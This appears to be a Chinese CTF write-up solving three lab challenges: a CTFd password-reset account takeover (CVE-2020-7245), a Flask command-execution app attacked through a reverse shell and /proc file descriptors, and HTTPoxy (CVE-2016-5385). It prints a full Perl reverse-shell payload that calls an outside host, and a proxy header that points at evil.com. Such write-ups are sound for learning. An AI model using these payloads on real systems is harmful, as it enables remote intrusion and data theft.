HappyCTFd
考点:
CVE-2020-7245
https://www.colabug.com/2020/0204/6940556/
利用方式:
注册一个如下账号,这里邮箱为buu上的内网邮箱系统
前往/reset_password找回密码
发送完成后把我们注册的用户名改一下:
然后用邮箱的找回密码链接改admin的密码123,登陆,找到flag文件
CHECKIN
考点:
反弹shell
linux文件描述符
from flask import Flask, request import os app = Flask(__name__) flag_file = open("flag.txt", "r") # flag = flag_file.read() # flag_file.close() # # @app.route('/flag') # def flag(): # return flag ## want flag? naive! # You will never find the thing you want:) I think @app.route('/shell') def shell(): os.system("rm -f flag.txt") exec_cmd = request.args.get('c') os.system(exec_cmd) return "1" @app.route('/') def source(): return open("app.py","r").read() if __name__ == "__main__": app.run(host='0.0.0.0')
首先flag_file = open("flag.txt", "r"),然后在shell页面,可供我们传入c参数命令执行,不过在这之前已经把flag.txt给删了
当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作
所以只要找到该进程就可以读取flag,/proc/[pid]/fd
是一个目录,包含进程打开文件的情况
然后就要利用反弹shell了,打开buu的linux labs,ssh连上,监听端口:
payload:
perl -e 'use Socket;$i="YOURIP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' &
urlencode一下发几次即可弹shell:cat /proc/*/fd/*
或者也可以挨个找
TimeTravel
HTTPoxy漏洞(CVE-2016-5385)
https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy
这个漏洞的前提之一就是
你的服务跑在PHP的CGI模式下(cgi, php-fpm)
看一下phpinfo找到fpm (应该
然后就看一下如何利用吧
cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约>定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: >http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包>中可能存在的敏感信息。
PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中
也就是增加一个Proxy的头,cgi会自动将我们加上HTTP_前缀,正好构成了环境变量中的HTTP_PROXY代理,结合题目就是将请求结果构造成{"success"=>true}
会返回flag
还是要用到内网服务器,不过这里达服务我一直没弄成功,其实只要构造一个response返回就可以了,参考一位师傅的payload:
HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Sat, 29 Feb 2020 05:27:31 GMT Content-Type: text/html; charset=UTF-8 Connection: Keep-alive Content-Length: 16 {"success":true}
来源:https://www.cnblogs.com/W4nder/p/12390204.html